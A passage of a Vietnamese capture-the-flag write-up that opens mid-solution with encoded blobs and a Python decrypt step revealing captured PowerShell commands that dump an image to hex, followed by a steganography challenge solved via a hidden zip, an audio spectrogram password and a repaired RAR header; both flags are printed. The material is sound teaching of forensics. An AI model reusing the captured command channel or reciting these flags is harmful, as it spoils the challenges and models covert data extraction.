XGXRqNUPva8kDofwCtt8Hmg554%2B0YxENNY5S7b72H7Jw4kxQa%2BOe2vkEnBl6EbDVi2gqFdOwvCqQD7cLP5l7tbkbWRBltCKpvlaz3pJd4%2FxuBkVCZDBMqoF%2FPUIt4mPDhmN02hrA5jV15fo%2Bod8lYFazxxZAjg4vV5meEL3K3hJfSSmTtLcuXpCHwxDA1%2BvOcGVsapwTn2vIlyuOlq3AgqKcXr1aFb6DJYjnIg%2Fo8gbJX3lE%2Fb0ZlVPYFBx0WfI0A%2FSWRsmNM7ICTJCXrGnkLKTyfwXXtWhJt3B4FVgdn"
b = "uGjyY6GcnabYem8450v+e256asufK4JUhfW5/KQfyPeAIkmBiQcwBoQbI8z7v9NLyH9Gwi4k6ViFL0nMTCGGWS0TSS6vqWRHa4ADkfcaVFhcjLmBV23dnOfSoCGUWzCg4TBcpDtc+C4QOc/v+dZSL2ytww2c8+pY1dGwth89dVWej8qifotdP0I9p3f/WNCf"
b = "oLGpnM8tDrH9%2FJBe5GYTrewvNFclSWXFfuvoKfF3WezjhkNMJ5aEt3wcAUl2cib0AtdsIBZtgo3M3LLLo%2FYb1YBFrIy%2BRTZW2rwWySE3HE1m4AKv2XkWOvwuapBBC%2Fixkp9U4dzwSdhjOYCIk%2FmTXLJaGDioTHzDJCXuicEMP8O4tbpDbbGdPOPHm4HOHN%2BVUzYrctFoRyGm6aZ7CHyydkQPplBTnksHN43WR%2B%2BC69mvPYfSvGTIlHGPW6yjGbgrtQRjWOfIyXZD0XvG0c9b5Gz0xGJY9axPoEjZHQlsAtLMAdFS4StVY1BjL%2FyBOg6h9zmu10nZwnuDp%2FiXRjVmbjEJeSPYwdsOiCmH%2FubkELlb72b6z9w8%2Fpv6TrmCJWKQo1p0mNUXwstKKHkw4pnBW5IG9HwOOkRzBqB7yna43gGjENzgdmuQWZa35l7ozu5KPjgV5LwMfTeYWDrnII2qvj99j4FhWsxETt85%2BTfI4%2FZc3fAED8NtiAs5sxak03BAhXn26xFlwW%2FfBD7QpMPlUuTs1Eocun4tGRPVfS7jO8DmK%2FGlx81S%2F4By665OVB9Vj2zLQhqfAssVQVnz%2BelcqFcBAHB%2BGkj5JKDk5U7MeOHNi1GjxyrmwvVOn7p6SHdT5WE4S9bM3RKmiAz76de6m2jozSpwr5kVd5lFhrQS3CoziwvwkHYOMu7l1nuCkN65EflYRtSfVnP3eg8QjDTnc6CjhK%2FpTDKDUorsFQ9914X2nE6wwjddgA161UOPW4rwH4Qs6CQJ9bgDB%2BAoMkRsI%2BdzZTrlQGLv1CgX20I3exnFkQAEzmDUo1isTRzCZQM5MiAbLvioZTFpu4c9fH54JBMVFIuM3YLi6ztuMGL4v2cWbj8%2FkzfVLDdG3mKLUZH6cULFa%2Bp4wraULbmYLL4dI7y2iAagQuOXzqgTuqb%2Fdom8px1JCaMoARhizHU9NLp3"
print(decrypt(cipher, b0)[16:].decode())
print(decrypt(cipher, b1)[16:].decode())

Kết quả thu về

1
2
VALID powershell (Format-Hex '.\Math Test.png' | Select-Object -Expand Bytes | ForEach-Object { '{0:x2}' -f $_ }) -join ''
VALID 89504e470d0a1a0a0000000d494844520000003a0000003a0800000000c4d015f4000001204944415478dab5968b0e....

Đó là mã hex của file ảnh, ta thu được mã qr và lấy ra flag

Flag: CHH{D0n’t_w0rRy_n0_st@r_wh3rE}

Stenography

CutieK1tty

Description

Một chú mèo cute chứa đựng nhiều điều bí ẩn. Hãy tìm ra điều thú vị đó.

Tải challenge: https://drive.google.com/file/d/18iGHuowoRUsWqwNmnuWqrqsHbMLwBJG_/view?usp=drive_link (pass: cookiehanhoan)

Solution

Đọc .png dưới dạng txt, thấy 2 tên fle lạ

Đổi tên sang .zip, sử dụng 7zip giải nén file ra

Đối với file .mp3 sử dụng tool https://academo.org/demos/spectrum-analyzer/

Có thể nó là pass rar chăng: sp3ctrum_1s_y0ur_fr13nd

Tuy nhiên file rar bị corrupt do header của nó là Cat!, vậy chuyển nó thành Rar!

Nhập pass mở file .rar ta được flag (encode bằng base64):

Flag: CHH{f0r3n51cs_ma5t3r}